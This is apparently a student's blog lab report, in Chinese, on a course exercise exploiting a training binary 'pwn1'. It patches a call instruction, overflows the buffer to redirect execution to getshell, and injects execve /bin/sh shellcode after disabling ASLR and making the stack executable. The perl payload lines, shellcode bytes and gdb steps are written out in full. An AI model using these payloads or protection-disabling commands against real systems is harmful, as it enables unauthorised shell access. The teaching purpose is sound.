Exp1 PC平台逆向破解

一、 直接修改程序机器指令,改变程序执行流程

1.首先下载pwn1.zip到pc和kali的共享文件夹下

然后在kali的/mnt/hgfs/下的共享文件夹下,用unzip命令和mv命令解压和移动pwn1文件至实验exp1文件下。

2.了解pwn1的作用
命令行输入objdump -d pwn1

pwn1程序主要有main、foo、getshell这三个函数,其中foo函数功能为输出输入的字符串,getshell函数功能为打开一个shell,原程序中main函数只调用了foo函数,也就是我们输入什么内容,pwn1会通过读入,再打印出来,但是函数foo,这个函数有Buffer overflow漏洞

3.修改程序机器指令

在上面照片标红的地方,我们可以看到
80484b5: e8 d7 ff ff ff call 8048491
根据老师的实验指导书,将调用的foo函数改为getshell,即修改原地址d7ffffff为c3ffffff

4.修改d7ffffff为c3ffffff

但是出现了问题!
问题是在以16进制浏览pwn2时,发现并不能按照老师的指导书,通过/e8d7
找到。

因为e8 和d7分开了,所以并没有检测到,所以我们通过/d7ff找到。
修改成c3ff。
注意:此时还需要转换为原格式 :%!xxd -r再保存退出

5.再通过objdump -d pwn2查看是否修改成功

显示修改成功

6.效果

./pwn2

二、通过构造输入参数,造成BOF攻击,改变程序执行流

1.反汇编pwn,了解程序的基本功能

NOP:No Operation,空操作,作用就是直接跳到下一指令。对应的机器码为90。
JNE:结果不为零(或不相等)则跳转。对应的机器码为75。
JE:结果为零(或相等)则跳转。对应的机器码为74。
JMP:无条件跳转。对应的机器码为对应的eb。
CMP: cmp是比较指令,cmp的功能相当于减法指令。它不保存结果,只是影响相应的标志位。其他的指令通过识别这些被影响的标志位来得知比较结果。
。对应的机器码为83。

2.确认输入字符串哪几个字符会覆盖到返回地址


通过分析上面两个eip 内容分别为0x34535535和0x34333231,
也就是说明我们应该将getshell函数的入口地址放在第二次输入1234的位置。

3.构造输入字符串

于是我们通过输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input来生成这样的文件。

4.通过管道符|,将input文件作为pwn1的输入

可以通过ls来查看当前文件夹下的内容

三、注入Shellcode并执行!!!以下内容已经跨过大坑,可放心食用

1.准备工作

先利用apt-get install execstack命令安装execstack软件包

修改些设置。

execstack -s pwn1  //设置堆栈可执行
execstack -q pwn1    //查询文件的堆栈是否可执行X pwn1
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space  //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
2.构造要注入的payload

注意!!!

直接复制使用这段shellcode即可

 perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

这样我们就得到了一个input_shellcode

3.终端注入这段攻击buf并调试进程

终端注入这段攻击buf

(cat input_shellcode;cat) | ./pwn1

再开另外一个终端,用gdb来调试pwn1这个进程。

ps -ef | grep pwn1

启动gdb调试这个进程
attach 上面图片标记的地址
注:每个人都不一样

显示第二个红线标记的内容才算成功哦
注意:在第一个终端,一定不要先按回车,要不然ps -ef | grep pwn1会找不到进程

info r esp

会得到esp的地址 address_A

x/16x "address_A'

gdb的x命令,查看内存
格式:x /nfu
16x是以16进制格式哦

就会发现0x04030201啦!!!

"address_A'就是返回地址的位置,在我这里是0xffffd6ec。shellcode就挨着,所以地址是0xffffd6f0
0xffffd6ec+4=0xffffd6f0???应该是这样的
高士淳自说自语的安慰自己找到了真相

4.试一下就成功的

然后就是将shellcode改一下,把之前的4321改成d6f0的地址

perl -e 'print "A" x 32;print "\xf0\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

再输入

(cat input_shellcode;cat) | ./pwn1

回车之后就可以执行命令了,比如说pwd

5.结合nc模拟远程攻击

意思就是两个linux做实验,A为靶机(kali),B为攻击机(ubuntu)
nc是啥?
nc命令的作用
实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
端口的扫描,nc可以作为client发起TCP或UDP连接
机器之间传输文件

!!!雷区提醒
只能在本机两个ter互相玩,没法两个机器互相玩,
会提示Segmentation fault,也就是溢出。

四、回答问题

  1. 实验收获与感想
    本次实验主要内容是针对缓冲区溢出进行攻击,修改返回值,但是前提条件是有漏洞,也就是老师开篇提到的Buffer overflow漏洞,个人理解就是攻击者可以用超出分配内存的部分,执行一些命令。
    本次实验老师要求的内容是到第四部分,网络对抗,是有攻击,有防御,所以存在针对缓存区溢出攻击的防御方法,Bof攻击防御技术。
    2.什么是漏洞?漏洞有什么危害?
    漏洞是啥呢?不清楚啊,大家都在说漏洞有危害,漏洞很可怕,但是漏洞具体是啥呢?SQL注入?缓冲区溢出?我也不清楚,我觉得应该是程序员留下的逻辑上的、物理硬件上的缺陷,攻击者为了一些目的,揪着程序员们的小毛病,挑刺。不过不可否认的是,一门艺术,就应该有交流,有来有回,有攻有防,这样才能发展迅速,就像冷战的苏美?甘于平凡的我发出不甘的叫喊,真烦,我还得多学一门课。
    漏洞有啥危害?!!!本人菜,密码弱,腾讯云的服务器被干了,密码被人改了,写的菜鸡代码被人删了,算不算危害?如果这算的话,我觉得我和漏洞势不两立,所以密码弱算不算漏洞?如果不算的话,那好像目前没遇到被人用漏洞攻击的事情,道听途说,网上见闻的漏洞事件很多,但是没遇到过,所以也没切身感受过漏洞的危害,我想话筒还是留给受害人的好。

posted on 2020-02-28 20:38  20175307GSC  阅读(477)  评论(0编辑  收藏  举报

导航